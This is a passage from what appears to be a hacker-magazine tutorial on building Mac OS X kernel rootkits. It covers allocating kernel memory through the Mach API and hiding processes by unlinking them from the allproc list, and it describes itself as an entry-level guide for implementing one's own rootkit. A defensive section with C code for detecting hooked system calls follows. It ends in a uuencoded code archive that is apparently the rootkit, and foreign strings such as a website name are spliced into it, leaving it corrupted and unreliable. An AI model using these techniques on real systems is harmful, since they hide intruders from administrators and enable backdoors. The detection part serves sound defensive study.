memory and return the pointer to &buf */ if (vm_allocate(port, &buf, 4096, TRUE)) { fprintf(stderr, "could not allocate memory\n"); exit(EXIT_FAILURE); } If everything went as planned we now have 4096 bytes of fresh kernel memory at our disposal, accessible via buf. This memory can be used as a place to store our syscall hooks -[ 5.2 - Direct Kernel Object Manipulation It is not just system calls that can be hijacked using this technique, it also works just as good to manipulate various other objects in kernelspace. A good example of such a object is the allproc structure, which is a list of proc structures of currently running processes on the system. This list is used by programs such as ps(1) and top(1) to get information about the running processes. So if you have processes you want to hide from a nosy administrator a nice way of doing so is by removing the process proc strcuture from the allproc list. This will make the process magically disappear from ps(1), top(1) and any other tools that uses the allproc structure as source of information. The allproc struct is, just as the nsysten variable, a exported symbol of the kernel. To get the address of the allproc structure in memory you may do something like this: # nm /mach_kernel | grep allproc 0054280c S _allproc # Now that you have the address of the allproc structure (0x0054280c) all you need to do is to modify the list and remove the proc structure of the preferred process. As described in "Designing BSD Rootkits" [11] this is usually done iterating through the list with the LIST_FOREACH() macro and removing entries with the LIST_REMOVE() macro. Since we can't modify the memory directly we have to use a wrapper utilizing the vm_read() and vm_write() functions, which we also leave as an exercise for the reader to implement. :) --[ 6 - Detection Detecting kernel rootkits can be very difficult. Some well known rootkits leaves traces in the filesystem or open network sockets that can be used to identify them. But this is nothing every rootkit does and wont help you to spot unknown rootkits. Keeping a known good list of the sysentry table and comparing that to the current state is another way to try to identify if syscalls have been modified. A popular workaround for that is to keep a shadow copy of the entire syscall table and modify the interupt-handler to the use the shadow table instead of the original one. This will leave the original sysentry table intact and anyone looking at it will find it unmodified even though all syscalls are still re-routed through the malicious functions. Another way is to replace the entire interrupt-handler as well as the sysentry table. Rootkits that intercept syscalls and modify the contents can sometimes be found by the fact that the buffer used to return data has junk at the end. Rootkit developers could surely fix this problem, but they often don't. Other indications of mischief is that calls that only returns counters, for instance the number of running processes, systematically doesn't match the count of running processes when listed. One way of finding hidden files is to write software that accesses the underlying filesystem directly and matches the files on disk with the output from the kernel. This requires writing filesystem software or finding a library for the specific filesystem used. The upside is that it is virtually impossible to intercept and modify calls to the raw device. Rootkits that hide open ports can under some circumstances be detected by port-scanning, when more advanced rootkits often use port-knocking or other types out of band signaling to avoid opening ports. Detecting rootkits is a cat and mouse game, and the only winning move is not to play. -[ 6.1 - Detecting hooked system calls on Mac OS X Now that you know how to hook system calls, we are going to show you a simple, yet effective, way of detecting if your system has gotten any of it's system calls hijacked. We already know that we can get the location of the sysent array in memory by adding 32 bytes to the exported nsysent symbol. We also know that the nsysent symbol contains the actual number of syscalls available on Mac OS X, which is 427 (0x1ab) on 10.5.6. Now, if we want to check if the current sysent array has been compromised we need something to compare it with, something like the original table. On Mac OS X the kernel image is a uncompressed, universal (Leopard) macho-o binary named mach_kernel found in the root of the filesystem. If we take a closer look at the kernel image we get this: # otool -d /mach_kernel | grep -A 10 "ab 01" [...] 0050a780 ab 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0050a790 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0050a7a0 00 00 00 00 94 cf 38 00 00 00 00 00 00 00 00 00 0050a7b0 01 00 00 00 00 00 00 00 01 00 00 00 6a 37 37 00 # At 0050a780 we see the magic number 427 (0x000001ab), the number of available syscalls. If we look 32 bytes ahead we see the value 0x38cf94, can this be the start of the sysent array? I think it is! All we need to is to copy the kernel image to a buffer, find the offset to the nsysent symbol, add 32 bytes to the offset and return a pointer to that position and we have our original sysent array. All this can be done with the following C function. char * get_sysent_from_disk(void) { char *p; FILE *fp; unsigned long sz; int i; fp = fopen("/mach_kernel", "r"); if (!fp) { fprintf(stderr, "could not open file\n"); exit(-1); } fseek(fp, 0, SEEK_END); sz = ftell(fp); fseek(fp, 0, SEEK_SET); buf = malloc(sz); p = buf; fread(buf, sz, 1, fp); fclose(fp); for (i = 0; i < sz; i++) { if (*(unsigned int *)(p) == 0x000001ab && *(unsigned int *)(p + 4) == 0x00000000) { return (p + 32); } p++; } return NULL; /* epic fail */ } This function can later be used in a simple detector. struct sysent *_sysent_from_ram; struct sysent *_sysent_from_hdd; _sysent_from_ram = (struct sysent *)get_sysent_from_ram(); _sysent_from_hdd = (struct sysent *)get_sysent_from_disk(); for (i = 0; i < 428; i++) { if (get_syscall_addr(i, _sysent_from_ram) != get_syscall_addr(i, _sysent_from_hdd)) report_hooked_syscall(i); } Of course this method has it's flaws. An attacker may manipulate the SYS_open syscall and redirect the call to a rogue copy of the kernel image if the file /mach_kernel is accessed. This can be overcome by always keeping a fresh and clean copy of the kernel image on a non-writable media. This method is also not capable of detecting inline function hooks in the system call handler functions, that's a modification left as an exercise for the reader to implement. --[ 7 - Summary Rootkits on Mac OS X is not a new topic, but not as well researched as i.e. rootkits on Windows or Linux. As we have shown, the techniques used is quite similar to the ones used on other unix-like operating systems. In addition to this OS X has some extra goodies, like the I/O Kit framework and the Mach API, that provides really useful features for people trying to subvert the XNU kernel. Manipulating syscalls, internal kernel structures and other parts of the XNU kernel is a great way to hide processes, files and folders and even to place backdoors accessible directly from userland. All this can be achieved using either a kernel extension or the Mach API, and if done right almost impossible to detect. Both techniques have different advantages and it's up to you to choose which technique to use in your own rootkit. The purpose of this article was first and foremost to give a basic understanding of the subject and is intended as an entry level tutorial for anyone wishing to implement their own OS X kernel rootkit and we sincerely hope that it helped to shed some light on the subject. --[ 8 - References [1] Landon Fuller - Fixing ptrace(pt_deny_attach, ...) on Mac OS X 10.5 Leopard http://landonf.bikemonkey.org/code/macosx/Leopard_PT_DENY_ATTACH.20080122.html [2] Apple Developer Connection http://developer.apple.com [3] Apple - Darwin source code http://opensource.apple.com/darwinsource/ [4] Apple Kernel Programming guide http://developer.apple.com/documentation/Darwin/Conceptual/KernelProgramming/keepout/keepout.html [5] nemo of felinemenace http://felinemenace.org/~nemo/ [6] I/O Kit Device Driver Design Guidelines: Kernel-User Notification http://developer.apple.com/documentation/DeviceDrivers/Conceptual/WritingDeviceDriver/KernelUserNotification/KernelUserNotification.html [7] Linux on-the-fly kernel patching without LKM http://phrack.org/issues.html?issue=58&id=7#article [8] phalanx rootkit by rebel http://packetstormsecurity.org/UNIX/penetration/rootkits/phalanx-b6.tar.bz2 [9] WeaponX rootkit by nemo http://packetstormsecurity.org/UNIX/penetration/rootkits/wX.tar.gz [10] logKext keylogger by drspringfield http://code.google.com/p/logkext/ [11] Designing BSD Rootkits by Joseph Kong ISBN 1593271425 --[ 9 - Code begin 644 code.tar.gz M'XL("!LM]TD``V-O9&4N=&%R`.S]8Y1G3;,OBI9M=]FV;=NV;1M=MFW;MJNZ MW&7;KNJR3O?SO._27NOL<\?8>YU[Q]TYYJC\S\P,9,0O8N:'F#6-[(Q-Z`#^ M]S;ZWXV-A>7OGI7UKYZ>D?GO_N\&P,#`P,;(P,C`RL((0,_P>QD+`#[+_V:] M_FHN3LX&COCX`(9V3DXF_S?K?B\S-?WO4.B_MQG]\;^9B;.+A;&Y@9$5K;.9 MY_]R&7\<S,K,_%_XG_$O9__V/Q,C*Q,+,^-OG#`PL3(S`.#3_R_7Y#]I_W_N M?[Q("`!H+BL)`.`+'@NG]9&$=\N/B/`MK_#J9HD-?-6(1FZ<RT3C:@HR61N; M<GQ'<D(@0#2`LS`J/O.O@ZM'&+@]#&T4$26-?G")O$ZSCM+2TL[C/I;'E!'C MDE@[S>C2#O8V98U'/M2O1&3BK_E>3.Z9R$#"'T#@,QZZ*D5@";E5HO56IYX= M0?*#/VFZ(>#Z2N9ME,T[EQ\J/L"7FBW:&DO:[2^VV<IA6=;TDD00U_02VE,? MMW\DKW^.+BWPAF[KSC]@#W:X+M,%,=<12K1?TMTI-GR`OF(X9!HQ?;WZ;7U^ MO?%5CP@`L\ABNAIMS&*9#IJ_S_5%0VYT!LN5[@[@=!KTDP7.4+S[P?26W'2O MJLN[M^[V;V+Y^^;)@T>K&L%_9K&(1N=B38Q@GVA&R]UH@W=X[D/5V1>"HZ#Y M[P($GX]$_7Q&_+QD^\3Z[/W.5WJ3Q#\%&"/O#A#!^3[PZU3+'PD3^WT.X!CA MAU?[F5[]9^_K&K9=4U3")]T=$-ZCG\0.A^$7:+S7Z==ZVZ>INI$31_^)>4VL M&<W==O%379^MTZ.O'9UGQ[9FARS5\Z(CGO:=756FJ5-+;ZL8`JE[!,P{body}lt;K`4 M?#M\ZL%J\1/F2,SABA!]0=1<OY:S%1;R':3_R<Z4P7?QZT'0L/MBEVA`)VNM M&G2"YUS_^M!KG@OUI$!0E[X4<#8M<'-+]42IKY%SMI,SP.R3I:&667N+C!4! M<)HF<)F3;T8H"^.A(N`,PB!I7GI/\IA#\[72,,/XPKWY>'/G>8(G#^?+^]_( M$;P_>,MFL'[1C;%\]CW^<G$_GB(0!/FP&T'1T<4TU&KOVB""(3MY.4CITWQ+ M&!OUDQR#M-''F:UG82BY`?WDG-42@!-8_"QB]/_)S2TF_`AH@E!C\"T',)#= M_))D]35BP(KN'4CD'BH)1V<6/^5*&X\18-V!'>A$_^F1OD,!@I/EP>J)'ACS M5,9]'[]Mgemini - kennedy.gemi.dev 26F00,BN7A.F+`0$5>A%-Z(9G2/H&&T'R-`LX(5;W$!!6AV_.F M;F9M*S>/L2=GY::/K3848NUT`\Q87G)&M,5(&RO%MB"/+]Z44,:#87!LP`TB M">.;TPE?JWN@;?U^0DE3Z5@IV*LD2J8KF+?;MZTBSHOE-Y:G$,M16.>,,-0F MQH?4H?>`O>W)R_%B0%Z\.6YGH^\Z<#);>>^X`D.`R3B&=MQ"D:AJO&GW".8$ M-TV*#\)BT>)1W.O]8\`U-DY(\05A5+N`K,5WN87;HOW57Y8AE'MNT/@/D'32 M/E%SV;M3<=W.<3YF(@5:*L$BQ%N-:D`D148Z5[E!<F:IA3/=6_K,!0TT2#7= MY(DTBV7>!**$PEZUBM$(WB4B$80)N77GD2PE9O%[0\;O/T9I$L6E(Y\>=0_% M][7@S>G4JB,OOS9C+R&WU#'S1-_I;@.A/G,'R@>DWGNC*ZL^PM4S]'OI_:AJ MM$3SO^`O:\*\?P>;[([>WE>UMAC?YLR4O?.[0ZZ=XQN$UNQ[B,O'_N=QY&[G MXZ?<]5-,S[G?A<Z[*R\_=`*RX'%N)]DH3]-7S>(9-1JI;?,KNH^SKR-W!S]_ MX2)FUF7A1_HQS6?S8D=GI]492`5'RS'(K$TVUR,0U]8@)((7.,14.-MJJ*'W M6?A9WV8XP^/6=3=G1S_\-9?13-OP,4!]WZ_S=-Y1,9H["/QW[44O_"\N;AY+ MT%XA[?FFZYN#A1QJF0M1\8[]DX.)RKH\-5YW-PL9:6_#\T2GS<S@G=H"1<,# MX"BECT^,`;1-S-JQVAT:,*!J2;1?76\FS."C%T%&=.CH<",$^AG\66^HG"). MY??LS/XJOQQ.TT."Y^C`>B*1.2R#J:]1KLU>JQVJ@ZX%OY7_>-`W!/A1T_A4 M[);?R29\>]Y,T2\(8O/T[<)(CFW2\P*1IQA*Z@%W+D2,EZ"B^7F=F5I/RJY3 M:C#+?[F;F:<5]XVW%&%?`8D\[]:;'9[Z"H$PWC,*/*RL,O$F=*<0>IW536]< M*,;&K,:+9STC0[XUHQJ7\1I9`#'9;&XFO&?]$=9Y.3/#6LQ\IJ`\8":GO--V MN?Y:^V+!*-FP`."!P_YUH@PWB,CK-(JA[.K[NYE'C`UOJNKE?N6ARW+_*^Q4 M\$++BG^TX<E,H`U&UN4MK`0%(,^>`!E."6%(.D3G&!'SY2AHRZ>1193=9*AG MM22"@O_+)6;3UHH4B\-W'22FZOS!Y9F!_CR5RVSLVGF)?MIV5R0+](='*3OC M4V@WT^4H&,$J(&CG!:B@#8Q$!S`AS6K>GF%2R&DMLI'D0BYXA$JLUH[04#@4 M7[/!,AE]<8DK!@E\N0<&6]G!4)H;[=.PG9*@:U[7T9AZ?">%4\$W]XJ@3JR@ M9S+?L9V@S<!<(L[1A\A=3#6J;[@R+O/#U0C.]M<&$R8H*,0-/XM"7VW4W,*> M3+3%R.-]X[:IX)?M,N!S8]\4A+XOB%27NC"K'(5XJWV#&:-$T\"X"Q*.1,BB MXR&?)G.&F8Q3U;&`HVE+!L<**J21](C13&<T8J]Q,YB\K=V16G?S&=1)>P7. M.1@[<P^DF4G#'((@#F9I.198,ZW_T=(V%4P7:AI#+?>P;7.,SA>`K$#,!*MO MNA4)@.L+OPM+A9<SX=_8P!/P6F3E:(K<,\(Y5ZK<0+:7D^;%9Q,'CCC!_&$I MW?6-R@9EZ18'K]9NZT-9+PI5/B?A;,H:7:OH7N=45A'/4)PJ>8%BTRWG2MOH M>G-`MZB!PJ*/"LFG8RLH?,+?)O+CPAIEP=9\S^NGF!@T/4)1A;6[YIY8J9DA M3RAAL'NI5J+;\J/8<=!4B*9%)4._S$FM`(MH3O<)+0]=;8\PK;%MS,="8VVM M`!I[HH9F[JYZ:T>'G2>O[?QP!U..`!LSF43CMF9S12U@3ZR-X2B\I#-ZHUCP MQ8D#=PL-:Y4=):\L,-93Y>Y4PW@3MU<](7(C<GZZ/H)]?JO7+-T41L`8*2@_ MV6M0]R]'9ZXS)(9X_F+OMV[G7\\(B:)ADQ[+8-EIM0E5>#%OMM@4"L8;5J?A M9W7KIPX)DQ;=/7P^PTZ"#?7S$-F:$-I>>14@`C]1</.\,.E<WDA(G+VRM"LE M40!'JGAGH+GUPN@14"3.(AC)(G5$SA/B8>.,B[N^AUGDO"=#(7ANY!$Y9($4 MPX1@>L<3YYPO">QX@`EV`0]G\/DQRZ$Q[G2\V_=1)/QX`N\++7$],`B!)5U$ M_H#*E&Y@)M,3-!(^?DV%"]ENU?])*BT)_^*L?@_.LZX]7=US=2IA>0NG&.#/ MAZ"(1R-*LFFDBR-@;=USO)Y'^DL+9%G2I?HGD(1&:JNBA$,`MJS+X-U<PX]$ MQ1"T"<:Z"L3)W"AN^^\6.@LLH!ADS&UZ)PLR-*G&?>#+2YY=!<XA02U#T+.- M[`'J:"R#)Y@M^:*%0^D8!LBQW9+21;[';1X>#QJ-O@)%-Y"4Z=4&^{body}amp;U>NVM M86_W-*]0/U[1P@W?9O@:7;\74Z$_%CA#6)#$]?R*^5!)<NBU<S9SW]=`0G_E MDRV,,>4LGP_V":(IX5'G0-<;0_&]'Z0/3]BAZ{body}gt;BV05N.5YQPK6$*6:F-EXR M(5$)0!:H:!B(HZ1AL>Z&3DC]0<-E)TQ[=FT-/82)S$M36U.WSR7XP@V9$24< M(Q0Q0J"@A`CNYYX_1:!B4ZAX6P+\)1Q8Z-S#ML`YJKLB6V(P`.6X-R#%D5/O M:>Q-AJ1"=D),DMAL93*MBEF^%Y:)Z10`RWDT,);)=J2*ZV*4<6<?<CVV,R$U MM?V@Q9-[8&Z`"=AO1)41/8T1QUS+RRMRI!CW;?9'X'B8*"6Z#.SN`J+<#RA2 MC*M5J8D)^JG)!P:)EZ0^8SJ",H>R559_:]$]R,ZT$L6IB'H7YO5SC19I2^@# MK9$%4:B\V](K*D:1@GT9*!2Y*IG_<PD#&Y$-I*,@_HMFCHP1@B/:J=%926: MMIE+PKY`5GMRJVJ6E:4_Q3E^BBL<N6F30:<$*ZN*[S0(DR0*>04#(A>IT>N; M_J0+OG]>-1Z%X&H=P9A7AJ4=7_0Y?2FX#356/2M+2)6/U(Y/+FO((:/!/>OW MR0+;[/B^BZ]'BW8XH<33SHPF-Y=B.4O[P&&YFE1E_BZM%P,)83&?W*J@:B\= MD(G,U_\AQ;V:PQ?4'`VS^^K1WWY);8K:&,AQ:_`!8["5AY+<5THTFSJT)V5X M2X{body}lt;^?Z[(ZEOXPH7$3@?X)^4&O2U6T%DF7W6%3N!Y:0+'YXB15O$:<^BO'P MBZ8N?']OC"J@)!282PA((W8HZR;2$,5P^KI=23M-NH3(X7*/P`&7.U'OLP<C M$#1I"UJ';\)%?U-V!,C!#S'O8#)?RA(OT#>13$N8T'%BR3!P@M+U9D#0P52M M0[*6=`MP/PF=JA:R\CDEH2;T#D\!S4Y@D9YZ<T#(>X_3%3PH)1I7S(0Q,F"< ML$,WD@4+?B'TE(8%7#X@3$2PZ]670:/@:3P(GZ'V@%)[2U(F4+\R?`^H_.FC M;LPV38)&1!)\Z\gemini - kennedy.gemi.dev >)MKN+Q8RQ1VT!6HCX/VFLP,IP$2!`/MP308C:?-+P9C MO.I&SBXS)'+E*&`-NUK""QR:=`4$Q-)=.`HH_4[#WPK6(U1[;9J'Q;0IHH:A M1=Zgemini - kennedy.gemi.dev H)XA7CRH82A?N&VT')12+$47OA6$CYK]X@TE5H32AK"M90-Z8E/!AR5 MZF_G$971N7+O3^<'OYG@*!M!8))VLVFR"]#:PG3+=JUW3G`M0)('YY.9%'$% MXR;*GZ:LMA`(!PUB#0Y::3$+__7<BN<KR1;%E_7.98].X5KR<BA]#X[(4U[7 MNT[<IT[#(U6BZ,F<S'AQ-VD2W;^\9(:>D7&%:9ML31/C%-_$Y3LE^LM"<Z;B MB-SH>UDX/AK=H#ZCG6)2?ULD.<NI8]-%FPH57GUDHZV/+-J:D"RB<+(2`<(Q MJHC"(>S!>"];]R`3U@OTCY[>1[C<[2:L^.B1Y`E3]*/1N\VW2[F4<6QO9/<0 M*=UQO)AQ,>0X_$H(B)]^"JUD2^9F1Q,@/=VKWQH+6C8B-`#4OH$U7+2HXAW. ME>1GUA>OJRH)(*A&4#*JEEUD%:1<,-345!4TW+8S<Q1^/>P/#(&=C$Z5J:S$ M9]<H]8SF;N,LAWUZ6GK-GHYE$3Z1R,BSUTR49Y$V%LX!:)9#Z9@0UV[VLWV+ M5$2G_!9TY.5[_JMZH[T^@G?K>SV=K=MFUR)MCR/9J=DZPZ>_HG,B)\FG![X* M=\E$O4W&ZP"HA?S;<F@<6_VH)6A.N(]2$O_T<XXSJB2"G'HR^?1N2!*^+5Y0 M%SXN#8F:(L5@](W3!_](EOAW.3AOY\:TTTGF"0DDCP>:/=1PED=B!/*\V`*T M_"*F-0];"_;]UP)(K@+("%*5>9!I<&@%D)S3-N4Y$-,DAP*ZZEL8\!:>9@XZ ME717$;8Z^L<#5`&K1)-HGIQS*?H>"T>Q*5F2ZD;1R(LOGU#>+.\>C(WS>U`. MF-,',WFN8]FGNOLCBFPYOXF&WJ>VZQ.W--/CNRZ%G+:\KKY#CSP'RV_+Q`)G MDRT-O`8IXNU,;P^5_!^&MJB3X=J?:V)^>*\B7\_[(Q)JT&P69@CKL7K9%%#< MPL`V("#QQ!#!R/16'+<D6H]J';I[0V9DAKCG@W:&EJ$N57V:6UZKXV#;/[RN M[[7%YME%L-^%N1U'MF^[?'6KFT3D!"F!?`I8.V1EM>.7O\BI7!E`N=0DN MIZ8)!8(6GC8JGTJ5MU@Y+!<L_5&*":/%.=%B87''++K6X;!_0FB$!GV#31K% M\I#5WP2QQ!-4E/^-CO<XY:05R(4SH?<([V"0^PC;112FH-L"9B;HKI`BI`;" M7:]>P8;TW>71\S%I]E$H0ZZHR25:.:[C]67L`16<2FY08]AMZEQ^F_LA#5/J MKG#Q9`]0JH8(@*O@*'_2!.6:(9HQHXQ#3&+1[@1EYW"K.D+0Q4G3YX8K**</ MI?!M@M0VG!F:&9Q?'?W(TGXB9N_%H:"J6MR$:^2N\>L&;O(B-QTFIF$:$R(U MBZA+-W&1\$D;:05+,P[06&,.QV=#G+*.XW.9VS_$4D1JZ"H7F"YA3PSO#>SB M.K\"!5NM!*Q4\BO9\2C6LBN:SB\DRHV-&2]5+C34KD)0<<ZAJEMT1E^=[1\] MF-FOO<^TO=]_H7#XCNS:K]^LN'DQ%R'+=N]!EFK_*(;DV`ES(=5;XN0[#,,@ MB39."$W`RV5.\`"E*/#WQ\\_?A()EI6#/#MJ$+U@0E"+5F"]G+#(S'DTB=/F M,QM2CFIV$N,`%_6=U]CVK=;8%J`YV:/M')>>91\37IX&C;\BN!W7'=#%5W`8 MJ\!?L$N!=APLY&CEZ4*Y'J)E-VMJ(%B=6K@GU]MY:(%`P1G6G/`&">LU$W& MG?N"8JXD1I^8**,1=T:MIEZV_U;)]'2BRY1CU]EK/5YZ!B6WH_0!BK:BN!IV MV."AH9_IK$OB050Z5Y80)JPBQ`]W(>@EEKIL^\R>@0/1>-+AN`N9$%.X=:HD MJAH0J]O3H;I$:6Y!\8V%4!#"5F/5*,9WCEG$%=EQ!66AH$[ZFXXOL>DR07": M,5OO]>'!SEU&2N0%WE5.9!EK?T_@0'P2A@>P6X:LZ>&L)!0+-3)7E>Z@=YV> M%))!*EBWY%%<[BAG96""!F]W2&O&6<GY4#N'G?5+"H&M6@5RDZL531#M?=[O MT)(!&Y(N;5Y!K;4-QSU7T*O654JL/IC/Z;ZG9BPL#GU$P7"?G5B(9^8@,SC` M6.PH755A9S6%C0WP<)8.F2Z[N4E#99F@#1.HR,5+1`ZK<@J!*00<[)>W,!.; MNQA8_1F8;C9.'PE;RGH7FZ1_"D6EK7&MG.YI6.W:((U8N.@E+M.OQD47HL$R MXGF1X'(4U;QPOM1\<H&1P@1**1G#:M`YR^&IX!TH31Z@"E5_1L$XO+?FB3W9 M:H(0-\#>RD7=O7=*!^K:T]9YE([4,E7;A9">&D\L+IY,3.RP=I2JH<P.7U(0 M"RM3)^K=$XS?.>@&YI.L)%S-<Q)X&[^.25<?,UG+9>Q[#JSO0;-F1B,U?-:+ M]=H23J0?L"@3ZHC?QIF/?0ZKQN!$SHAMNB15(^E]D355+^+K/=57/ZW0L"CG MO[F&].ZKIK"6Q;FPYE,-6Z^O9GMO:4LMGM=<,?N`]J!<1X>UR=VI&,""MJ=V MM8U*ID?%+!0]KN9;F%CK'"PWRGC{body}gt;2^CNFT+Y"KT<K.9%?#0NB&`1><R_VP$ MG.D/)=PL<'X_QL.0GU%=7YE=^();Q/M2\UAYT[S.M80>L47X.<DEQ*9WX`+? M0.ZY^*JYZ7_H@E)90=UB\,L_($C,6\M'4`8VA@MK#<Z9\B>93%Z#DN5;L=MT MU;Z>7'!A\UF2@O(LY@/:BG+*=DDSUPU]/YF<[6B,ZO,$=D%HU%+COO\BJ=2Z M<L*$7-9JA6V#5=1I^F>,S['MEWM"M=D1WT\AP4W$Q^D[HZ5<`>.#PW)XNWC; M#'/L"KWBYQYVISSQ!B`'_Y7D@QIA5K@RS=ZS`'"1=.`U$?G9B!,<3BR?KA]= MJ@3S'WH\MM-;J5+-WAEEDG;Q*7[8JOP7#I`LC!X2)W$M#\A6M[QQB8;([*(M MO")Q4<F+D*I9;S5M&=K$9-_"7NCV.8;OJ2Z2V(!GQA6$PC0_(3T!N\5:O\N% M9D%*Z0+=09R:A"]9Z?'Z5/C)LE`I+2PX!LH5,'SG9`'=[4.DIGE;3>,G$(QV M,6%)=+?Y=EL1PH\>3\[7?XK:O8+QJVR9(QQ++Z4?7V/[4"+M>)1NECQEZ6@C M,^,;LZ?S4-U9/0H(IC^EH!H&!UO'MX"P9\K:;DE%PV0OJ>$D==#V)?%P&U>^ MP*#2UY5&'XDB*I3)=QRM7T,'2M8TN6^><:5IKA)9-E01=T:EVI0(57PS=Q:+ MTW[=8;^4XI&6H04C#Y6=Z&KZ'`[XJ3*&D4V&6XDS^!.([4._@8B2?'>+T82> MM]^5,N)2&R>X_$7\=+1WY@N9XK+).&8)+Y)P4EHQ]BL1^7W;/CRB@M4]!QU4 M),E=P,8>B"Q<$M@ATYCY6K,CYPI_`3\*K1]PQ;DC&LKFR;)YULV/[]F;P1KO M_:.SN]:K-E!MTNI4;;)P"1!*28`55G5.`/HC#.`P6=;&"=S0?G#0V0.#FWZH MQ1&#IXALDG22_G0=X!$R4]WM%NI.T(T?>3><W+EH-V_]R%CDI+SAAX./[#Y8 M$RF53K`F@G9!'9%U^S/*6KPU{body}gt;C[E]7U2<:\:,)69<>:H=[5Y56RRN7@T0\P MR.\!3JY*@DCAE!CD$L2/W65-^%S*=7EQV.OM/_C:_>S][CK,1+>1D%H2+X"5 M\@/%>)@V>3XX,@Q.ND$57Z'$K>GV25!P!QH?L<PBU=#)I1J"Q[9XZ7]:8O0- MS]GR@UXE$_6CV:H7NF4T09\%V5J^Q%I,&^1U.]<F'[)N](-<MB <%6NI;`: M^"-&!?MU]%E$FK!)>L3N@G&>W*A9=FN],[P1ML0JJ1C6$F2U</K,6C_3E5F7 M]H+<T/U`%(_)EDN,#:]P[((F%G`E((8JT8,373:S[Z_#5MVT7=:JQ;[J[G8Q M.*/D5\P6[U>0]>4P4N1T:9'FDSDV#5H.G[5Q>"2[@`2M7[004IY^TA)(O&F( MSXXS!HF=@F_79"XT^N#&,8+J6Z/G{body}gt;(3M`Y`U*X31`4![X_%;]8LV$@)%:I? M1-O!:P^SC5-\'>%FY&V56NU]`N:YSYI:^2QJ_]3W.:?EWC`(K4"AF?W%CW#N M\QXM7J'=%+!;Y;S>[0I!#1C-%WS"?=M$%Q%^7(\?"T?J;`]8*C9R_AA[7EJ* MPZK+;V:RGT)??];-%`K%.Q>^,7TN[%2[!(LDQ1VM@M/56!.GPE/DS-;H2=B; MJ7&)"^#B=FN)1V"T0,.3N29$)&9??T_E!?KMX+U0%(#N@+"MV&SLN"+2U;)? M7>_^B`TR-RYA]T<,671EEJ.AL?=[^`%_X:T\/&-T(9&/AV>2.MI7/9L#!M#> MLEAT/=<G<@=.3V+$%TB^4]A7C\3XD-\S*2@U['H5V`"I?U6]&Z6RKL*0!0@& M8+BAND2^+Y`&'ONR5"NN]H`_+2QQ+@@[_AO^VB38#Y$CJXBE2H%&4GB[9:AK M9Z,.9$I9]CX-'+NXH"HXE63A!IU@T88"A%CCQLT@KPIDN=$Z13<MTQM^_[AZ M<$XO]Y;&DU>&$U5&&1VL2>G%OKP3T(+P-{body}amp;F11V4!C8&0*&(X$:7#0]+)(S4 M!6[:\JL'*#HJJ?C4D^B$L@Y]!@"#HD2^RJ"V9[O-AVPI0VZ(Q;PMMRN?LSB@ MG-Q%G3.0%7:S!]AFNXOKD8BTO$EM0"^([=ML<,W!U.4VAA.W&)F='`)AD88A M[PIR4F,9QZVT4)2A40H!-SHRW>_6D(/7=JH$E@JYBPC(WPR[@42>(0:3](\W M!MWOB_&$KFRM[/"/+2=K/_UW@%E,OE7Q6I[<AE5.[9+&I`QXT<^+EK`LDOV0 M9H65FG,6]?]YYOJ=];/*WWDM,"[EF,1D-D68>*>ZT25;Q5GO@.@9*P[A$?&' M4\=]7%S)[<[+M(Q[L<D%[81UYL+!BI\[PN<;7&:N^`=T,I<%T$!^6'N:KW\1 MUS(V_#T(@R5.,(W"1L(R6_CSF`@=TK?]C4=>0U.",)WZ95[43A"`Y$EH1YZ, M66N[S?!.3XR:UHA&C6H\6^SEW!H>/.M^;#_(+'.BF;U!#'3)$RGZH`OBR<:@ M4L6M#C%=?EP%.4ZBLJ!C;1I]S(	A)7T'H2J4$#KQ6L1Z\AE`=.1VK'#[-$ M4Z=)N`D/5_:K)_)?.04R6)`^[8M8<+*AEGJG36`TIAC@UA9F#I'3F8#S[?IW MV'-R^\_>E8A%$2H4JZ'QR='&@>G).GXI!PASE"AJQA=$#7FWHW/X(.J`KT) M25=![[BX[){body}lt;./78U^(/3&M9LP]L,=W^[,U#9Q(>"<,91PJYIP]:ZYW9QB08 M]"U&$Q4>36JZW\/&8I^^*>2(1]PJ:L"`H[K,HO,[>6VZ:@&2'(#J7DY`Q0C4 M>F:2*5H4C+H?VF`ZT0Z{body}amp;45*."L+=J?^S&J`Y(D9A+O3;Q1-%:#RF!7EM6YG MB@X"=G)$?,E21A%L]LW\?2):Q0G+WGAA_"#>CK$KBY[5'K-1J]2WV4W5BY8: M5)ZICF>=)?E``JY`EWG8*DWE]M#NNG17&U601Z(^4FLVN]55;QJ>6F:#A6A3 ME0WB8>]GT3</V+H:@KR9R`@E?)$CE[BQ)*(C73G7$2\B@BE(\'3&*\0%A/+( M`-P(3$O\"%1)*G7Z]7KI&E0Z#U%A-&FS[(*F[Q=H/6JDX5?M:D2G8ZD3Y-PA MZ(\BC;M70MUZRU)9IZM7^U'VD\PI46'7L1.%0L1PQ(F4B6$UWS*5/5BQ,R[] M/BL';Q<CIX41J1$E]A<-R;O$[=V]+>T5HR7'^]O[A[8E`05D8+1D@=(>,>-W M,T^?P)6+=N<'9X_5\020^ZW5]>++U^`7M8<XGL%^]^47`XOFXAIKX0P=_S4B M=IH"=L.)X"P?CIP#6"<DPYS$O-'+G^]CYTP)90N=K9HR.=)TU:=8X_(T@PO- M%-P8<B>1:\L-UA2I1J?:B=6W0QF6CF>[+\(*8BD<6%;[RS<G+F2>S.D9:^V/ M=N,+I$9613U*8@'/"Y9K[NSI,<R#32%KXC(U4@P`@TFB1%:4Z785HR0L_&:L MBC3\&%S#>;N`9%";^6_\>Y&BE)J0&7WV'>D0IM3>;#NE_J3SS).>B0`>I6=@ M"%&R3?ULSZ`NQ2PM_*CZ*:)[W;0RI16VY>@EG*:7XX;HO!](Z&*,^PI7$B:% MB618UG;#2L7`HFG=+?8#OYPX4W]A3?_8F][2S=Z@^8`G@[[>#:%*CASLXG/= M,N(RV6/:?K-4!32[[2Z*I;&@3T]/J<E@>A[LRB+$2:UP2/F>L2L"&_$@^Y/% M@EZR3]K%)2\:E1(RX)8^J?75V/`GA^HLIW0<HKQ,Z?-&CEP4=("=,^;6'I&: M`N*KG@(BL8ZOT?>KHI;5R=48V(WSI)6M.S,S'<64M%9*)V&'U.0IDSONI4:S MC]/3B3R%.!L1!D54/4_L4.KZJGI[@UWMU=;*@V^M]E9N)R]W>0U>NWN UGC MNXT,]J6K$O1UPD2]N,!"]5LT56-G-`>%SI%J2:>J4F^Y)N@C3U3U'WBP5([# M,YRBXY]Z/8L6HX]^{body}amp;)=^%"&QW5?^YE)O9\?HX6]V#@!HV5R4:\BV:A57!7] 